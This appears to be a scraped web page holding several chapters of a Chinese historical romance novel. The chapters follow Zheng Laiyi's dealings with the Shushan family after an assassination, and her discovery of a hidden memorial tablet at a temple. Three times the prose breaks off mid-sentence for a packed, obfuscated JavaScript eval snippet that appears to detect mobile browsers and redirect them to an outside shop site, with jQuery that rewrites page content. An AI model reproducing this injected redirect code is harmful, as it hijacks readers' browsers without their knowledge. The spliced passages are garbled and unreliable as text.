梳着灵蛇髻的少女一身娇俏的粉米衣裙,耳边垂着两粒红色的珊瑚珠,玲珑精巧,如同微张着口的花椒。 少女背着手,脸却是模糊不清的,但那声音实在动听,天真而温暖。 “叔山梧,我们又见面了!还记得我么?” 他想应她一声,就以那两粒可爱的耳坠命名。椒椒。但没能发得出声音。 少女仰着头,向他走近一步,真诚而直接。 “叔山梧,我喜欢你,你娶我吧。” 风扬起她绯色的裙裾,吹来一阵芳香。他想伸手去碰她,脚边突生出万丈深渊。 那一袭粉色的身影落在了对面的悬崖上,少女单薄的声音被风送过来,似被吹尽了缠绵恋慕,唯余决绝。 “叔山梧,纵入黄泉,我与你亦不复相见。”而后绯色的人影隔着深渊纵身一跃。 “不要——!” 他徒劳地伸出手臂,要跟着跳下去,却如被一只巨手抓住了后心,离眼前的深渊愈来愈远。 眼前的人影虚浮,唯有一双如水的眼睛清澈分明。是她么? 叔山梧微动了下手指,视线变得清明。 有什么东西递到了自己嘴边,带着浓重的苦味,他却眉头不皱顺从地一口口吞咽下去。等到一碗药将将喝完,人也清醒了大半。许是这药厉害,受伤前的记忆随着一口口苦药,一条一缕地回到身体。 对面喂药的人始终垂着眼睫,看不出什么特别的情绪,然而熟悉的芬芳一如梦中人。 叔山梧张口,这一回终于发出了声音,把她喊住了。 “你说‘不会再把我看错了’,那是什么意思?” 郑来仪淡淡道:“没什么意思。二公子只当我误会了吧。” 她的身形在门口顿住,转头看过来,冷然割席的口吻提醒他,“你我身份有别,还请二公子不要再那样喊我。” 叔山梧一怔,转过头看见旁边眼神炯炯望着自己的决云。 “我……说了什么?” 决云吞吐了一下,没答。 “我睡了多久?” “您那哪是睡啊!高烧不退,还一个劲地说胡话,医师说您这药再喝不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573819|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进去,这一关就难过了!太好了……总算……” 决云喋喋不休起来,叔山梧却蹙了眉。从不会喝旁人递到嘴边的东西,可方才却喝了她喂的药。 他的视线望向门边。天已经黑透,廊下挂起了灯笼,将女子窈窕的身形照在窗户上,长廊的另一头,似乎有道人影,正与她遥遥相对。 郑来仪迈出门时,余光瞥见尽头过来一人。紫袍玉带,英武挺拔,是平野郡王叔山寻。 他背着手,不知在廊下站了多久。高处悬着一盏六角灯笼,将他高大的影子拉到了郑来仪的脚边。 这一刻,她可以毫不偏颇地说,叔山梧的硬朗气质应当是全部承袭自乃父。虽然此刻,她可以清晰地看见叔山寻鬓角隐隐的白发,更添几分沧桑,并无半分沙场老将的气概。 “多谢郑小姐救吾儿一命。” 叔山寻朝着郑来仪深深一拜,后者侧过身子,不敢生受的姿态,语调亦是漠然。 “是令公子福大命大,与我并无干系。” 叔山寻向前一步,语气诚恳:“段贼与我叔山氏不共戴天,前来向小儿寻仇,却连累郑小姐受惊。倘若郑小姐有个三长两短,本王真是万死莫赎!” “郡王爷言重。郑氏对谋逆的反贼一样深恶痛绝。”郑来仪敛眉。 叔山寻颔首,目光幽沉。 郑来仪轻轻抬眼,语气轻缓:“这一番贼人作恶不成,反倒证明王爷与逆党泾渭分明,因祸得福也未可知。” “我大半截身子已经入土,要这福来有何用,难道真能留给后人?”叔山寻苦笑一声。 他的视线望向一旁敞着的房门,声音莫名严峻:“在战场上杀人无数,不得善终已是注定,或许某一日,便遭仇人背刺,死无葬身之地……” “但在我死之前,必要见到他们也与我同下地狱,否则我绝难瞑目。” 他的眸中闪着狠戾的光,令郑来仪想起她前世在某人的脸上也看过如出一辙的神情,后脊心一时发凉。 她后退一步,不欲多留,却听见叔山寻恢复了温煦的语气:“听说事发时郑小姐和阿梧在一起,这小子一向敏锐,到底怎么受的伤,郑小姐可否与我细说一二?” “令郎已经醒了,王爷为何不去问他?” 叔山寻语气些许颓败:“郑小姐或许知道,这小子自小离家,跟着我的时间极少,我与他父子之间,从来说不到三句话,但他这骄傲负气的性子,同我如出一辙。若我去问他,他十有八九是不会说的。” “郑小姐,请你和本王说实话,他伤在要害似乎全无防备,难道真是没有察觉那舞姬的身份么?” 郑来仪心头有种奇怪的感觉一闪而过:叔山寻不是在试探他,而真心是来求问当时发生的真相,对房内重伤的亲生儿子叔山梧,他根本没有全然的信任。 她抬眼,叔山寻眼尾的皱纹深如沟壑,清晰可见。前世嫁入叔山氏后,她与这位家翁交集不多,似乎从来没有如此近距离地与他对视。他此刻看着自己的眼神是看待晚辈的温和,但仍有藏得很深的锐色。 郑来仪垂下头,低声喃喃:“不是的。是因为我,是我误会了二公子,他却为救我才暴露在逆贼面前的……” “都怪我……” 她楚楚可怜地抬起头,一双水灵灵的眼睛在廊下灯笼映照中隐隐泛红,满眼写着愧疚和自责。 28. 无处不可怜 青州是舜王的地界,叔山二郎一出事,所有人都得到了李肃的命令,对平野郡王父子奉若上宾,让叔山梧好好养病。 叔山寻却不愿留在别院叨扰,只坚持住在驿馆,择日便要尽快回京,不能久留。却偏偏在离开青州的前一夜又出了事情:两个杀手连夜冲进驿站,砍了几名守兵直入内院,被叔山寻的近卫斩于王爷榻前。尸体的里衣带着麒临军的记认,显然是贼心不死的段良麒余孽。 儿子重伤尚未痊愈,父亲又陷入危险。舜王下令将逆党的头颅砍了下来,悬于青州城门上。消息传回玉京,怀光帝勃然大怒。 圣旨八百里加急送到了青州,让平野郡王养好伤再回都,随之还有一纸诏令:平野郡王叔山寻正式封“青山将军”,授勋于凌烟阁,充河北道任奉州节度,兼任北关招抚使,领河北驻军,赐名“清野”,寄以“杀逆于前,坚壁清野”之望。 怀光帝此举,无疑是要让以为君臣离心有隙可乘的段贼好好看看,大祈与逆党不得善了的决心。 叔山寻伤势不算重,简单养了几日后,便要离开青州回都赴任。舜王作为地主,自然亲自送行。天光尚未大亮,城门外的大道上,两位王爷一人一骑,相对而立。 “王爷留步吧,小王此番实在是叨扰了。” “哪里的话,你们父子二人在青州接连出事,本王实在愧疚!” “敌人本就无处不在,这样的事如何预料?”叔山寻摇头。 舜王上前一步,扶住叔山寻的胳膊:“你在降叛一事上理应是头功,这点人人心知肚明。皇兄并非对你不信任,只是……” 他摇了摇头,“这其间原因太过复杂,总之,如今得其所哉,大祈有青山将军,北境可安宁了!” 叔山寻对着舜王一抱拳:“王爷有此一番话,已经是对我最大褒奖!我戎马半生,除了带兵打仗别无所长,承蒙不弃,也只能以一身残躯报效朝廷。” 舜王敛眸,推心置腹的语气:“此次任命,实则也全然是皇兄为向贼人示威的意气之举。你心系边关,想必亦对如今北境局势有所耳闻。” “若您所指的是前日槊方出的事,在下略知一二。”叔山寻抬眼,眸色锐利。 舜王长叹一口气:“我这位虢王兄,也实在不是个带兵的材料!图罗军队竟然在他的眼皮子底下翻过子午岭攻进槊方,将靖遥洗劫一空——若非我的人及时赶到,半个槊方都要沦陷了!” 叔山寻抿唇,淡淡道:“虢王所辖甚为广袤,力所不逮也是难免。” 舜王点点头:“皇兄应当亦是想到了这一点,如今已任命了季进明为肃州节度,将陇右从虢王兄手里接管过去,也算给他减负了!” 叔山寻听罢,淡淡说了句“陛下英明”。 天际一轮红日将现,映得他一身玄色战甲熠熠生辉。 舜王李肃拍了拍叔山寻的肩膀:“有你把守河北道,本王坐镇东都,一颗心才算能放回肚子里!北境不能一日无将,此次回京授勋之后不久便要赴任,多多保重!” 叔山寻退后半步,面目陡然沉肃,向着舜王长揖到地:“二郎他……” 李肃弯腰扶起叔山寻:“令郎在我这里养伤,你就不必担忧了!我已经交代了昭儿,他们绝不敢怠慢!” 叔山寻再度塌了塌腰:“犬子让王爷费心了!” 李肃摆摆手:“你这是什么话?这回多亏了你家二郎,昭儿与六胡州市马的差事办得还算利落,方才得了陛下褒奖,我还没有好好谢他!” 他伸手扶住叔山寻的胳膊,笑道,“本王准备向陛下进言,要赏他一份好差事……” 叔山寻闻言摇头:“阿梧性情恶劣,孤僻难驯,实非可用之才,恐怕有负王爷厚望。” 李肃皱眉:“听闻二郎受伤,你不惜跪求皇兄连夜赶来青州,怎么这会却对这儿子没一句好话?我看他醒来后你也甚少去看望——你们父子二人,究竟什么情况?” 叔山寻沉默,一言难尽的神色。 李肃见他不愿多言,便道:“阿梧和昭儿年纪差不多,应该让昭儿向他多学学!” “他怎能与世子相提并论。”叔山寻摇了摇头。 “嗨,不能这么说,反正这孩子我很是喜欢,能文能武,是好儿郎!” 舜王如此真诚的夸奖,叔山寻的面上终究是闪过一丝欣慰笑意,嘴上只道:“那小王便告辞了,王爷和世子若有事只管交代那小子,我看他恢复得也快,没多久应当便能下地了。” “你这样子,我都要怀疑这叔山梧究竟是不是你亲生的了!” 叔山寻苦笑一声,再也没说什么。朝着李肃最后一拱手,纵然年过半百,他翻身上马的动作依旧英姿勃勃,利落地调转马头飞驰而去,留下官道上滚滚尘烟。 - 趁着父亲李肃不在,李德音终于得了空子,一大早便来找郑来仪,陪着她用完朝食,便在庭院中散步。 从东院走到西院,郑来仪委婉要世子去忙公务,不必管她。正在此时,却见舜王身边近卫来报,说王爷回来了,正在找世子。 李德音的神色立马紧绷:“怎么这么快?” “平野郡王赶着回京赴任,王爷去送他,所以也回来得早。” “赴任?”李德音疑惑,“赴什么任?” 那近卫答道:“陛下已经封平野郡王为奉州节度,统清野军,诏令昨夜八百里加急送来的。” 听见清野军三个字,郑来仪一瞬如堕冰窟。 “这么匆忙加封节度?是北境出了什么事么?” 事涉军情,李德音问得鲁莽,那近卫却谨慎得多,只道:“属下也不清楚,世子还是快去书房吧,王爷还在等。” 李德音看了郑来仪一眼:“那椒椒,我先过去。” 郑来仪突然道:“世子,我要回去了。” “你、你要回去?什么时候?” “今日。” 李德音讶然:“今日?怎么这么突然?” “我这次出来时间不短了,父母亲在家肯定记挂。若不是遇上刺杀耽搁了数日,早也该启程回去了。”郑来仪垂着眼。 李德音伸手握住郑来仪:“那、那也不能连夜赶路,这么匆忙!等我把这里事了了,陪你一起回去啊!” “不必了,我出来也带了人,世子公务繁忙,不必管我。”郑来仪默默把手抽了回来。 “可、可是……”李德音想留人,一时又不知该说什么,这时那近卫又低低咳了一声,提醒他该走了。 “你……你先等等!等我从父王那里回来再说!等我、等我啊!” 李德音没有得到回应,离去时一步三回头,直到郑来仪看不清表情的脸消失在视线中。 尽管归心似箭,郑来仪还是没能当晚便走。在主人的再三劝拦下又停了一晚,整理行装,又带上了一支舜王府的翊卫专程护送,这才算准备万全。 第二日一早,舜王亲自来到郑来仪居停的东院,递给她一封信。 “是给父亲的吗?”郑来仪了然接过,收在怀中。 舜王颔首,目光温和:“这一回让你受惊了,表舅父知道你想家,昭儿还有些事,一时抽不开身,否则定要让他亲自送你回去的。” 郑来仪摇头:“怎好耽误世子的正事,其实我也有人跟着,王爷这样大费周章,实在让人惶恐!” “你这孩子,怎么如此见外!我们也算是一家人,如今内境不算安稳,此去玉京路途不短,要真是出了什么纰漏,我还怎么去见惟宰?” “王爷,平野郡王突然受封,是北境又要打仗了么?” 舜王的神色一时隐晦,并不和郑来仪多讲,只道:“说来话长,你回都城或许也能听说一二。” 郑来仪点头:“椒椒只是担心,不要再出现第二个麒临之乱了。” 她认真地看着舜王,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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稳重、有分寸,却也不失自己的主意。 他拍了拍郑来仪的肩膀,只嘱托了几句小心别走夜路,便离开了东院。 郑来仪正要转身,月门外突有人影出现。 叔山梧一袭素袍,面上血色尚浅,整个人带着重伤初愈的憔悴。 他身后没跟着人,略低了头跨进门来,走了两步在郑来仪面前站定了。 “听说姑娘要回都了?” “不错。” 郑来仪看着叔山梧孑然而立,淡淡道:“看来二公子恢复得不错。” “托了姑娘的福。” 郑来仪移开眼,不承他的谢,凉声道:“郡王爷于京外受勋,喜讯来得着实匆忙,临行前尚未来得及见一面,便将这份恭喜传达给二公子吧。” 叔山梧也不承她的恭喜,径问:“姑娘去了青州大狱?” “……不错。”郑来仪心下警觉:他消息倒是快。 叔山梧向前一步:“刺客如何招认?” 郑来仪扬眉:“二公子难道不知?刺客已经招认自己是麒临军余孽,对叔山氏怀恨在心,所以寻机刺杀。” “姑娘信么?” “此话何意?人证物证俱全,为何不信?”她下颌微扬,目光中含着锐利的审视。 “所以姑娘那日当着刺客的面,对我说的话究竟是何意?” 叔山梧语气平静,却有种打破砂锅问到底的坚持:“我卧床这两日,反复思及姑娘那日的话,却始终没有答案——我到底,何曾骗过你?” 郑来仪咬唇,沉默不答。 叔山梧看着郑来仪低垂的眼睫,缓缓再问:“那日在我屋外,你对我父亲说,我是因你才受伤?你明明知道我那时——” “你那时,明明是要为那舞姬作掩护,对不对?”郑来仪突然抢白。 叔山梧一怔,郑来仪抬起眼睛看他。 “二公子几次三番救我,我还以为……”她哽住,声音带了委屈,“那日你明明说,有话要对我说,可却又一心向着那个丝雨,你……难道不是在骗我?” 叔山梧看着她泛红的眼睛,愕然道:“我不——” “公子不要说了,是我想多了。你走吧!” 叔山梧被生生打断,愣在原地看着郑来仪一脸怨怼地转身,小跑着进了屋里。 29. 过去生已灭 绿树阴浓夏日长,车马一路西行在宽阔的官道上。回程的路上戒备森严,郑来仪没心情,一路都缩在马车中。 她这几日一直在后悔,从发觉丝雨是奸细开始,便头脑发热,行事冲动的下场便是引起了叔山梧的怀疑。 面对叔山父子,她只能演出小女儿的情致,将自己的疑心往争风吃醋上引,好在前世有过这样的经历,所以也算是得心应手——虽然细思有诸多破绽,但好歹没让叔山梧继续纠缠下去。 她至今没有想明白,倘若那刺客真是平野王府为了上位的手段,叔山寻又怎会将自己的儿子设在局中。叔山梧被刺时她就在当场,他眼中的意外分明不似作伪。 整件事如同一团乱麻,而唯一的线索已经死在了青州大狱。但无论如何经过这一遭,叔山氏重回武将阵营,兵权已然到手。 一想到这里,郑来仪的心口便如同被一块大石堵住,喘不过气来。 她斜倚软枕,一手按在膝边的小几上,那里摆着一只信封,上面写着“惟宰亲启”几个字。 紫袖察觉主子的动作,讶道:“小姐,您这样老爷会怪罪吧?” 郑来仪手持裁纸刀,轻轻划开密封的信笺:“怪便怪呗,反正父亲对我也不会真生气……” 紫袖闭了嘴。也是,四小姐任性的行为老爷从来都是纵容默许的,不过以往也就是淘气爱玩些,对老爷的公务她从来是不感兴趣的。今日也不知怎么了。 薄薄的信纸从信封中抽了出来,郑来仪展信,视线在寥寥几行字之间来回扫了数遍,神情愈发严峻。 她所料不差,叔山寻能重新掌兵,其中多有舜王的推动。李肃对叔山父子颇为看重,不惜亲自背书,将所辖范围的河东道驻军交给叔山寻,甚至在和郑远持商量为叔山二郎觅一个军职:信里提到,他拟将叔山梧荐往槊方,在虢王麾下做一名节帅。 虽然李肃此举手伸得未免过分长了些,然而纵观如今朝中的形势,重回东都的舜王显然比屡次让陛下失望的虢王掌握更多话语权。 叔山寻本就出身槊方,昔日同袍也大多留驻当地,叔山梧身为嫡系将领之后去到槊方,本就没什么根基的舅舅处境便更加危险了。 “父亲,你真的会举荐叔山梧去槊方么?” 郑远持放下信,看见女儿关切的眼神,伸手揉了揉她的头发。 “你这丫头,拆阿耶的信还不算,这会还细打听起来了——”他微眯起眼,“怎么对叔山家那小子如此上心?” 郑来仪为父亲倒上一盏茶,一边缓缓道:“如今舅舅乃是槊方节度,当地一应官员选任理应由他举荐,父亲若插手槊方节帅的人选,是陛下和舅舅两处不讨好……” 她仔细看着郑远持的神色,接着道:“况且,陛下将叔山寻调往河北,想必也考虑到麒临军在河北根基不深。可槊方不一样,叔山氏出身于此,现在让叔山梧去槊方,难道陛下心里真的不会犯嘀咕么?” 郑远持凝眉沉思半晌,忽地向后一靠,面带促狭地问女儿:“你到底是在担心为父,还是在担心叔山梧那小子?” “自然是为父亲考虑!我担心他一个外人作甚么?!”面对父亲连番猜测,郑来仪终究没好气地把茶杯放下了。 郑远持不再调侃,语气严肃了些:“你说得不错,叔山寻重掌兵权,朝廷重用他的同时也不能不有所防备。舜王只是提议,从陛下的角度,未必就能接受让叔山寻的儿子去槊方从军。” “不过,叔山梧此次在青州的差事办得不错,还受了逆贼重伤,朝廷不能不有所表示……” 他的视线在郑来仪的脸上停了一会,颇有深意道:“若想要牵制叔山寻,自有别的地方安置叔山二郎。” 郑来仪正要追问,这时门外有人禀告:“老爷,严大人来了,已经请到花厅了。” “请他来书房吧。” 郑来仪不好多留,识相地离开了郑远持的书房。走出廊下,正遇到阍者引着一人进了院子——是个一身襕袍的男子,约莫三十来岁,身形挺拔,温文尔雅。 男子看见郑来仪,目光在她脸上略定了定,面带笑意微微颔首。她便也略一屈膝,便与他擦身而过。 - 转眼半月时间过去,很快便要到中元了。 中元节乃是举国上下祭祀先祖、悼念亡魂的日子。玉京内外的大小寺庵、道观早早便开始准备节日的百味五果、汲灌盆器、香油锭烛。 今年又适逢先帝诞辰百年,经历过去一年的动荡,自紫宸宫以降,早一个月前便开始定制神座、幡节和祭祀礼服。陛下都对中元日祭祖分外上心,朝中众臣自然也不敢怠慢,唯恐被人以“不事孝道,目无祖先”为由参上一本,家家供物排场所费器具的攀比之风愈演愈烈。 青岫堂里,李砚卿和方姨娘带着两个丫头在绣制祭祀用的袍服,衣裳是有专门的绣娘按照制式预备好的,只是袍服的内里需由女眷亲手补针,以表对先祖哀思。 本来两个丫头和夫人姨娘一同坐在屋内,没一会,郑来仪便觉气闷,以“房中光太暗,盯得眼睛疼”为由,拉着绵韵去了外面。两个人坐在廊下一边做针线,一边说闲话。 “椒椒,你前阵子不在家里,长姊回来过一趟,听说了么?” “听说了,长姊回来干什么的?” “说是前阵子,左仆射大人和父亲在朝上有了分歧,冲突得挺厉害,长姊听说后抑郁了好几天,都无心侍奉君姑,干脆回家来小住了几天。” 郑来仪皱眉。 房速崇乃是学术派,出身清贵,为人矜持倨傲,历任太子宾客、礼部尚书,在朝中有一众老牌世家支撑,势力与郑国公旗鼓相当。而身为尚书右仆射的父亲是实干派出身,与房速崇政见不和由来已久。 当年郑远持主动递出橄榄枝,两家联姻,朝中一度传为佳话。然而即便长女郑薜萝嫁入房家后,二人在朝上的争斗也始终未曾停止过。长姊嫁入房家,心中依旧牵挂母族,如今已经不是新婚,姐夫将长姊送回娘家,恐怕会更不为君姑所喜。 “是什么样的分歧,闹得如此厉害?” “听说,自图罗人骚扰北境一事后,宫里就传出要罢免虢王的风声,左仆射大人带头弹劾虢王,说他‘不堪重用’,不过是凭着与父亲的关系才一路顺风顺水,一意坚持将肃州从舅舅的辖区里剥离出来。后来又在肃州节度的人选上和父亲意见相左,父亲推荐的是表舅,最后陛下采纳了左仆射大人的意见,用了他推荐的人,叫什么、什么明来着……” “季进明。” “哦对!季进明。你在青州也听说了?” 郑来仪沉默。 圣人端坐龙椅,在高处看得清楚,无论是李澹还是张绍鼎,都是郑国公的嫡系,恐怕也是对父亲有所忌惮,这次才会连番采纳房速崇的意见。 她以前从不会对这些纵横捭阖过多留心,现在看来,父亲行走于朝中,远非表面看来那么顺遂无虞。 国公爷会和舜王走得这么近,也是为了与房速崇及其背后的势力相抗衡。在肃州节度人选一事上落了下风,按照郑远持的性子,失之东隅,必要收之桑榆。 墙头两只麻雀打架,叽叽喳喳的声音将郑来仪的思绪拉回。 她歪头看向绵韵,拉长声音问:“前朝的事,你怎么知道得如此清楚?” 不等绵韵说话,又恍然的样子,“——哦,我知道了!姐姐真了不起,看来兵部也有眼线呢……” 郑绵韵脸一红不答话,只将手里的布料往眼前凑了凑,似乎这一针特别难下些。郑来仪看她这副鹌鹑样,噗嗤笑出声来,身边埋着头的人又羞又恼,抬手拍了她一下。 屋子里,李砚卿听着外面姐妹俩笑闹的动静,手里针线不停,一边问方姨娘:“绍鼎的任命下来了么?” 方花实摇头:“上回匆匆碰到表哥一面,看他心情似乎不是太好,便也没多问。” 李砚卿叹一口气,想要说些安慰的话,却也不知从何说起,却听方姨娘善解人意的口气:“不说他了,那些前朝的事,咱们不操心!对了,前两日,我看有个脸生的来府里找老爷,倒是仪表堂堂的,不知是什么人?” “这两日来府里的都是熟人……”李砚卿略一思忖,“你是说严子确?” “好像是,我听他们称呼严大人——看着很年轻的样子啊,成家了没有?” 李砚卿失笑,方花实为了女儿的婚事,都已经有些魔怔了。 “这个严子确确实是个人才,他父亲在时就家道中落,只留下了兄弟俩。他颇为争气,进士及第,算是老爷的半个门生,二十三岁便外放渝州为官,在外面历练了七年,这次是回京叙职。可惜就是命不大好,发妻早丧后便一直没有续弦。” 方花实闻言一脸惋惜:“竟是个鳏夫!看上去,可一点都不像已到而立之年的样子呢。” “不过,虽然他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607301|138619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是鳏夫,却也有不少人家来打听。此人文武兼备,听闻陛下有意在渝州设立节度使,属意就地擢升严子确,往后也算是一方藩帅了。” 方花实点头,想来这其中也不乏郑远持的推波助澜。 “真不错,也算是青年才俊,再嫁给他便是节度使夫人,自然会有女子趋之若鹜的。” 她的口气略带惋惜,严子确条件虽不算差,可再怎么样,让女儿嫁一个鳏夫,还年长不少,她自是不乐意的,方才一时兴起的念头也全然打消了。 “那他弟弟呢?” “弟弟在大理寺,似乎家中也早已定亲了。” 到此方花实便彻底死了心。李砚卿朝屋外看了一眼,低声道:“你也不必担心,杜境宽的事,老爷也知道了,他对杜家并不反感,绵韵若当真喜欢,也没什么不能嫁的。” 是啊。只要女儿喜欢,还挑什么呢。 方花实叹一口气,抬眼看见李砚卿捏着针却迟迟不动,知道她也在担忧来仪,于是也去宽她的心。 “四丫头追求者不少,那叔山家二郎听说在青州又救她一回,还有那个舜王世子,眼睛挂在椒椒身上拔也拔不出来——这么些头角峥嵘的人物,还愁没有合适椒椒的么!” 李砚卿却没心思想这些,将针线放回笸箩中,抬手揉了揉眉心。 “短短的时间里,这已经是第二回了,她一出门就出事,真不知是不是沾上了什么不干净的东西……” 方花实闻言直拍桌子:“快呸呸呸!哪里是因为这个,实在是有人贼心不死,我们四丫头福气旺着呢,姐姐莫说这话!” 李砚卿强挤出一丝笑容:“我随口说说的……” “这种话哪能随口说呀,不作兴的!”方花实责怪道,“后日去寺里,可得菩萨面前好好拜拜,消一消口业呢。” - 霄云寺在玉京西郊拂霄山麓,传闻此山曾有神隐遗迹,数百年来香火十分旺盛。加上此地山水景美,是个踏青的好去处,玉京城中的贵族世家不少选择将祖先神位供奉于此,国公府便是其中之一。 霄云寺的住持慈济大师是郑远持的老友,亲自陪着他在正殿供奉祖先,郑成帷作为家中唯一的男丁,一直跟在父亲身边。女眷们则由李砚卿带着,由知客僧陪同,去经堂听讲。 嘈嘈细语中,讲经的维那语调平直,声音低哑。郑来仪听着“诸法皆妄见,如梦如焰,如水中月,如镜中像,以妄想生……”,只觉头晕脑胀,透不过气来。趁人不注意悄然起身,从后方步出经堂。 前院正殿里挤满了行香拜佛的人,男客们理完佛,大多会留在殿中和僧人们聊上几句,女眷们身着华服,跪拜完佛祖后视线便在那供台上来回比较,看谁家的供盆祭品最为气派、摆的位置更好;未出阁的姑娘们便留心着,若有样貌俊美的年轻公子便偷偷多瞧几眼,或是私下商量着行香结束后去哪里消遣。 只她一人逆着人流避开人声鼎沸,沿着院墙向后山方向去。 霄云寺后院紧依着拂霄山,最早时并无一座庙宇。霄云寺第一任住持昙俨自西域云游至此,在陡峭的山壁凿山开窟,镌建了九九八十一座形态各异的佛像,雕饰精美,栩栩如生。后来霄云佛窟扬名于世,在朝廷的资助下才依山扩建了楼阁殿堂和重重庭院。 当年的佛窟遗迹遍布青苔和藤蔓,几无打理的痕迹。只剩一些无力于寺中供奉祖先牌位的穷苦百姓,才会选择绕道后山,于佛窟前祭奠。 今日霄云寺中来的贵族人家大多集中在在正殿或经堂,越往山壁石窟的方向,人烟越是稀少。 拂霄山被苍翠树木掩盖,浓郁的树荫遮盖了霸道的日头。郑来仪仰头,深吸一口空山中清新的空气,气闷一时缓解了不少。 她走到后殿的角门边,与拂霄山只有一墙之隔,墙头隐约可见被植被掩映的巨大山壁石窟,突听得一个低沉的老者声音,隔着院墙传来。 “无尽灯者,譬如一灯,燃百千灯,冥者皆明,明终不尽。若过去生,过去生已灭。檀越至此,可不必再执着了……” 若过去生,过去生已灭。 郑来仪一时怔忪,陡然听见另一个声音冷然响起。 “多谢大师开解,但我并无执着,执着者另有其人。只愿母亲在此,可以安歇。” 郑来仪猛地抬眼。 半掩的院门后,熟悉的男人身影背手站着,衣袖下右手腕上,露出一截白色的绷带。 30. 不得安歇者 叔山梧一身黑衣,他身边的老僧一身灰袍,从郑来仪的角度,正好能看见老僧须眉皆白的侧脸。 二人正对着的石窟之中,一座高不到一尺的报身佛跏趺而坐,右手放于膝盖,掌心向外手指下垂,双眉弯如新月,丰颐秀目凝视众生。 佛像面前零落地摆着些瓜果供品,其中一盏莲花形制的长明灯颜色颇新,应是刚刚供上的。 昙绍转过脸,看向叔山梧:“檀越既无执着,又怎会以为令慈不得安歇?其实逝者已矣,不得安歇者,非彼而已。” 叔山梧挺拔的身形一时凝滞不动,或许是郑来仪的错觉,他宽阔的肩膀似乎微微下塌了几分,莫名几分颓败。 “大师说得对。是未亡人未能看开,母亲早已往生,不孝儿于此吊唁,不过妄求心安罢了。” 昙绍认真端详着叔山梧,似是看出了些什么,眉目一时冷肃。 “诸行无常,是生灭法,生灭灭已,寂灭为乐。恕贫僧直言,檀越过于执着,如此不仅会伤害他人,更会伤害自己。” 叔山梧身形微动,似是自嘲般冷笑了一声:“在下杀伐过重,有朝一日终会下地狱,寂灭之乐,恐怕无福消受。” 他转过身面朝着昙绍,躬身合十:“多谢大师开解,在下虽愚顽,不得了悟,但能为亡母在此设凭吊之所,已经甚为感念。” 昙绍双手合十,口呼善哉,面色不无悲悯。 他目送着叔山梧远去,转身朝向佛龛,闭目念诵了一段经文,方才缓步离去。 郑来仪藏于院门后,不知站了多久,直到日头西斜照在她的后背,两条腿都有些麻了,才跨出门槛,朝山壁走去。 她走到佛像门前,那一盏新供的长明灯中香烛依旧燃着,火焰微微晃动。她伸手拨开一支遮挡了佛龛的藤蔓,仔细分辨须弥莲座正中的木牌,上面镌刻了八个字: 「故显妣安氏之灵位」 这里供奉的,果真是叔山梧的生母? 青州马场上,她曾向叔山梧追问那把曲柄匕首的来历,那时他说是母亲所赠,她全当他是为掩盖和胡人勾结而扯谎。 所以容絮并非是叔山梧的亲生母亲? 郑来仪搜刮记忆,不曾记得叔山二郎有这样一位母亲。前世她与叔山梧交换庚帖、拜堂成亲,成为新妇后祭拜宗庙,更从未听过这个“安氏”的姓名。 她目光微动,缓缓移向木牌的右下角用小篆刻着的两列文字。 「生于甘露七年六月初八。 卒于昭宁十五年二月初六。」 这个安氏,只活了二十五岁而已。 郑来仪突然想到什么,视线回到逝者的生卒年月上,依稀觉得哪里不对。 二月初六,那是她与叔山梧大婚的日子。 那一日她从头至尾不曾见到自己的夫婿,甚至怀疑与自己拜堂的都另有其人。她曾在铺陈繁华的新房中委屈落泪,连合卺酒都没有喝上。用老人的话说,这意头大为不详,往后恐怕落得镜破钗分的下场。 果然一语成谶。 她想起那时两家商议婚期,是李砚卿从准夫家择中的几个日子里挑了一个。怎会有人家将母亲的忌日作为儿郎成婚的吉日候选? 这个从无半点存在过痕迹的安氏,究竟是何背景?郑来仪想起丝雨临死时说的话,眸光骤然缩紧。 “椒椒!你怎么跑到这里来了?叫我一通好找!” 郑来仪转身,只见绵韵迈过院门,气喘吁吁向她走来:“经都讲完了,我一回头你人却不见了!还以为被什么山匪给掳走了,真真吓死我了!” 郑来仪任绵韵抓着自己的手,扯了扯唇角:“什么匪徒会在佛寺里劫人,真不怕遭报应么?” 郑绵韵没好气道:“还不是因为你总是遇上这样的事,实在让人放不下心!” “母亲他们呢?” “她们遇上了平野王妃,哦对,现在该叫节度使夫人了,还有叔山家大郎也在,正在一处说话。我说要找你,这才过来的。” “哦,”郑来仪看破也说破,“——说是为了找我,其实是在躲人呢……” 郑绵韵屈起手指,在她头上敲了一个暴栗:“你这没良心的丫头!下回你要是跑丢了,看我还急不急!” 郑来仪偏头躲开,恢复了正经:“平野王妃只带了一个人来么?” “说是二郎刚从青州回来,今日也一同来了的,只是这会不知人在哪里……” 郑绵韵说到这里,促狭地看向来仪,“——要我说,你们两个还真是有缘,你刚回来没多久,他后脚也跟回来了,连这随时失踪的野马脾性都相似得很!你俩刚才是不是在一块呢?” 逗弄人的话一说完,绵韵当即退后一步,以防自己这妹妹恼起来动手动脚。郑来仪却没什么反应,拉起她的手转身朝内院走,一边语气平静道:“我和他怎么可能在一块,我都不知道他回来了。” 郑绵韵任她拖着,一边絮絮地转述着方才听来的消息。 